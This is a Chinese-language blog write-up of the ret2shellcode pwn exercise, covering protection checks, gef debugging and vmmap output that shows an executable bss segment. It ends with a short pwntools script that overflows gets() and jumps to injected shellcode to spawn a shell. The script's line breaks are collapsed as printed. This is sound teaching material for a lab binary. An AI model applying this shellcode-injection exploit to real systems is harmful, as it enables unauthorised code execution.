原理

控制程序执行shellcode代码

shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell。

一般来说,shellcode需要我们自己进行填充,这其实是一种典型的利用方法。

执行条件:

  • 对应二进制在执行时,shellcode所在区域需要可执行的权限。

过程

下载地址

查看程序保护机制

毫无保护

IDA看下汇编指令

  • 发现gets危险函数
  • 同时还有将字符串复制到buf2处

双击buf2,查看buf2地址

buf2地址发现为bss段地址,bss段地址看注

动态调试程序,查看bss段地址权限

gef➤  b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gef➤  r
Starting program: /mnt/hgfs/kali_share/pwn/ret2shellcode
BFD: /usr/lib/debug/.build-id/8b/9c8982bae57ff88bd7af7ad42cb91b889c06b3.debug: unable to initialize decompress status for section .debug_aranges
BFD: /usr/lib/debug/.build-id/8b/9c8982bae57ff88bd7af7ad42cb91b889c06b3.debug: unable to initialize decompress status for section .debug_aranges
warning: File "/usr/lib/debug/.build-id/8b/9c8982bae57ff88bd7af7ad42cb91b889c06b3.debug" has no build-id, file skipped
BFD: /usr/lib/debug/.build-id/49/d71c5358691415db0c9d0767301c4000a3ea84.debug: unable to initialize decompress status for section .debug_aranges
BFD: /usr/lib/debug/.build-id/49/d71c5358691415db0c9d0767301c4000a3ea84.debug: unable to initialize decompress status for section .debug_aranges
warning: File "/usr/lib/debug/.build-id/49/d71c5358691415db0c9d0767301c4000a3ea84.debug" has no build-id, file skippedBreakpoint 1, main () at ret2shellcode.c:8
8   ret2shellcode.c: 没有那个文件或目录.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0xb7fb0548  →  0xbffff3dc  →  0xbffff582  →  "SHELL=/bin/bash"
$ebx   : 0x0
$ecx   : 0xfba387c8
$edx   : 0xbffff364  →  0x00000000
$esp   : 0xbffff2b0  →  0x00000000
$ebp   : 0xbffff338  →  0x00000000
$esi   : 0xb7fae000  →  0x001d6d6c ("lm"?)
$edi   : 0xb7fae000  →  0x001d6d6c ("lm"?)
$eip   : 0x08048536  →  <main+9> mov eax, ds:0x804a060
$eflags: [zero CARRY parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033
───────────────────────────────────────────────────────────────────── stack ────
0xbffff2b0│+0x0000: 0x00000000  ← $esp
0xbffff2b4│+0x0004: 0x00c10000
0xbffff2b8│+0x0008: 0x00000001
0xbffff2bc│+0x000c: 0xb7ffe840  →  0x00000000
0xbffff2c0│+0x0010: 0xbffff310  →  0x00000001
0xbffff2c4│+0x0014: 0x00000000
0xbffff2c8│+0x0018: 0xb7fff000  →  0x00028f38
0xbffff2cc│+0x001c: 0x00000000
─────────────────────────────────────────────────────────────── code:x86:32 ────0x804852e <main+1>         mov    ebp, esp0x8048530 <main+3>         and    esp, 0xfffffff00x8048533 <main+6>         add    esp, 0xffffff80→  0x8048536 <main+9>         mov    eax, ds:0x804a0600x804853b <main+14>        mov    DWORD PTR [esp+0xc], 0x00x8048543 <main+22>        mov    DWORD PTR [esp+0x8], 0x20x804854b <main+30>        mov    DWORD PTR [esp+0x4], 0x00x8048553 <main+38>        mov    DWORD PTR [esp], eax0x8048556 <main+41>        call   0x8048410 <setvbuf@plt>
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2shellcode", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048536 → main()
────────────────────────────────────────────────────────────────────────────────
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0xb7fb0548  →  0xbffff3dc  →  0xbffff582  →  "SHELL=/bin/bash"
$ebx   : 0x0
$ecx   : 0xfba387c8
$edx   : 0xbffff364  →  0x00000000
$esp   : 0xbffff2b0  →  0x00000000
$ebp   : 0xbffff338  →  0x00000000
$esi   : 0xb7fae000  →  0x001d6d6c ("lm"?)
$edi   : 0xb7fae000  →  0x001d6d6c ("lm"?)
$eip   : 0x08048536  →  <main+9> mov eax, ds:0x804a060
$eflags: [zero CARRY parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033
───────────────────────────────────────────────────────────────────── stack ────
0xbffff2b0│+0x0000: 0x00000000  ← $esp
0xbffff2b4│+0x0004: 0x00c10000
0xbffff2b8│+0x0008: 0x00000001
0xbffff2bc│+0x000c: 0xb7ffe840  →  0x00000000
0xbffff2c0│+0x0010: 0xbffff310  →  0x00000001
0xbffff2c4│+0x0014: 0x00000000
0xbffff2c8│+0x0018: 0xb7fff000  →  0x00028f38
0xbffff2cc│+0x001c: 0x00000000
─────────────────────────────────────────────────────────────── code:x86:32 ────0x804852e <main+1>         mov    ebp, esp0x8048530 <main+3>         and    esp, 0xfffffff00x8048533 <main+6>         add    esp, 0xffffff80→  0x8048536 <main+9>         mov    eax, ds:0x804a0600x804853b <main+14>        mov    DWORD PTR [esp+0xc], 0x00x8048543 <main+22>        mov    DWORD PTR [esp+0x8], 0x20x804854b <main+30>        mov    DWORD PTR [esp+0x4], 0x00x8048553 <main+38>        mov    DWORD PTR [esp], eax0x8048556 <main+41>        call   0x8048410 <setvbuf@plt>
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2shellcode", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048536 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  vmmap
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/kali_share/pwn/ret2shellcode
0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/kali_share/pwn/ret2shellcode
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/kali_share/pwn/ret2shellcode
0xb7dd7000 0xb7df4000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.29.so
0xb7df4000 0xb7fac000 0x0001d000 r-x /lib/i386-linux-gnu/libc-2.29.so
0xb7fac000 0xb7fae000 0x001d4000 r-x /lib/i386-linux-gnu/libc-2.29.so
0xb7fae000 0xb7fb0000 0x001d6000 rwx /lib/i386-linux-gnu/libc-2.29.so
0xb7fb0000 0xb7fb2000 0x00000000 rwx
0xb7fcf000 0xb7fd1000 0x00000000 rwx
0xb7fd1000 0xb7fd4000 0x00000000 r-- [vvar]
0xb7fd4000 0xb7fd6000 0x00000000 r-x [vdso]
0xb7fd6000 0xb7fd7000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.29.so
0xb7fd7000 0xb7ffd000 0x00001000 r-x /lib/i386-linux-gnu/ld-2.29.so
0xb7ffe000 0xb7fff000 0x00027000 r-x /lib/i386-linux-gnu/ld-2.29.so
0xb7fff000 0xb8000000 0x00028000 rwx /lib/i386-linux-gnu/ld-2.29.so
0xbffdf000 0xc0000000 0x00000000 rwx [stack]

发现0804A080地址在下面所述地址中间,具有读写执行的权限,可以向里面写shellcode(汇编后的),并执行。

0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/kali_share/pwn/ret2shellcode

找偏移,写数据

找偏移地址的方法跟上篇博客一样

不过在此次的payload编写中,用到一个函数ljust这个函数

ljust函数介绍链接

其中字符串长度为十进制,需要把找到的偏移地址十六进制转为十进制,再+4

from pwn import *sh = process('./ret2shellcode')shellcode = asm(shellcraft.sh())
#生成汇编后的shellcode
buf = 0x0804A080print shellcode.ljust(112, 'a')sh.sendline(shellcode.ljust(112, 'a') + p32(buf))sh.interactive()

  • bss段:一般指程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域,特点是可读写,在程序执行之前,bss段清0
  • 数据段包括初始化的数据和未初始化的数据(bss)两种,bss存放的是未初始化的全局变量和静态变量;
  • vmmap命令为查看对应地址段内权限及其他相关信息

基本ROP之ret2shellcode相关推荐

  1. 二进制学习基础文章整理

    二进制.栈溢出入门笔记整理 以下是我入门二进制的一些笔记整理链接,特此整理出来,方便自己查阅,也方便读者阅读. 必备知识 <linux程序的常用保护机制> <PLT表和GOT表学习& ...

  2. ctf pwn 萌新学习记录 基本rop(题目来自Wiki)

    文章目录 ret2text 解题步骤 ret2shellcode 解题步骤 解读exp ret2sysycall 解题步骤 系统调用 一探 二探 ret2libc ret2libc1 ret2libc ...

  3. ret2shellcode

    shellcode的含义: 在栈溢出的攻击技术中通常是要控制函数的返回地址到自己想要的地方执行自己想要执行的代码.ret2shellcode代表返回到shellcode中即控制函数的返回地址到预先设定 ...

  4. PWN ret2shellcode

    今天天气阴,来做一下ret2shellcode. 记录一下. : ) 0X00 ret2shellcode原理 ret2shellcode,就是,return to shellcode,即让程序中某个 ...

  5. 【Web狗自虐系列1】Pwn入门之初级ROP

    0x0 栈介绍 栈式一种典型的后进先出的数据结构,其操作主要有压栈(push)与出栈(pop)两种操作 压栈与出栈都是操作的栈顶 高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了 ...

  6. ROP简单 ret2syscall

    开启的NX保护 写shellcode 是不可能的,也没有system等函数 存在溢出,算下偏移 变量与bp的距离就等于0x60 这个变量的开栈是根据sp开的 他距离sp0x1c 所以偏移就是 bp-s ...

  7. 一步一步学ROP之gadgets和2free篇

    蒸米 · 2015/11/25 10:39 0x00序 ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,可以用来绕过现代操作系统的各种 ...

  8. rop检查_注意!这几类人一定要定期检查眼底!

    高度近视最大的危害是什么? 随着手机,电脑的普遍使用,学习任务的繁重,导致青少年高度近视的发病率越来越高. 高度近视给我们生活带来的困扰不仅仅是眼睛干涩疲劳.视力模糊.戴眼镜不方便等,它最大的危害是随 ...

  9. CTF(Pwn) Rop + ret2libc 题型 常规解法思路 (初级)

    参考例题 https://blog.csdn.net/weixin_45556441/article/details/115091036 引子 随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码 ...

最新文章

  1. linux mysql 主从 1130_Linux Mysql 1130错误解决
  2. Linux之vim全选,全部复制,全部删除
  3. soso街景开发——在移动应用(网站)中的应用
  4. 2011---2013年杭电计算机历年研究生复试---笔试编程
  5. 计算机共享原理,synchronize底层原理 游戏电脑问题解决分享!
  6. C#获取屏幕分辨率(大小)
  7. 怎样取消连续包月自动续费_苹果手机连续包月会员怎么取消 设置iPhone解除应用自动续费...
  8. mysql 钩子_面试官: 什么是 Hook (钩子) 线程以及应用场景?
  9. Docker 镜像-管理-导入-导出
  10. 【Java并发性和多线程】竞态条件与临界区
  11. php改时间戳,如何实现转换php时间戳
  12. elixir 规格_六家使用Elixir的著名公司-以及为什么做出改变
  13. 掌财社寒山:彼得林奇最珍贵的股市投资理念
  14. SPIR-V 研究:编译器基本原理(三) - Chomsky文法分类
  15. 网贷黑名单查询,通过身份证号,或者手机号查询自己的网贷情况。
  16. 第二周:1.逆序的三位数(5分)(题目来源中国大学MOOC)
  17. java证书验证失败_使用certbot证书验证失败
  18. 老罗的锤子,3000块钱贵吗?
  19. MT4电脑版如何下载
  20. 【菜鸟算题】兰顿蚂蚁

热门文章

  1. 销售书籍推荐,销售人员最该看的是这本书!
  2. android retrofit 从无知到入门
  3. dm-cache 与 bcache
  4. 高仿简书个人中心页面
  5. [SVN Mac自带SVN结合新浪SAE进行代码管理]
  6. Leetcode笔记2-消除游戏
  7. SenseTime Ace Coder Challenge 暨 商汤在线编程挑战赛 B.我觉得海星
  8. 字符串方法intern()详解
  9. 2021年11月30日
  10. 一位33岁程序员的悲哀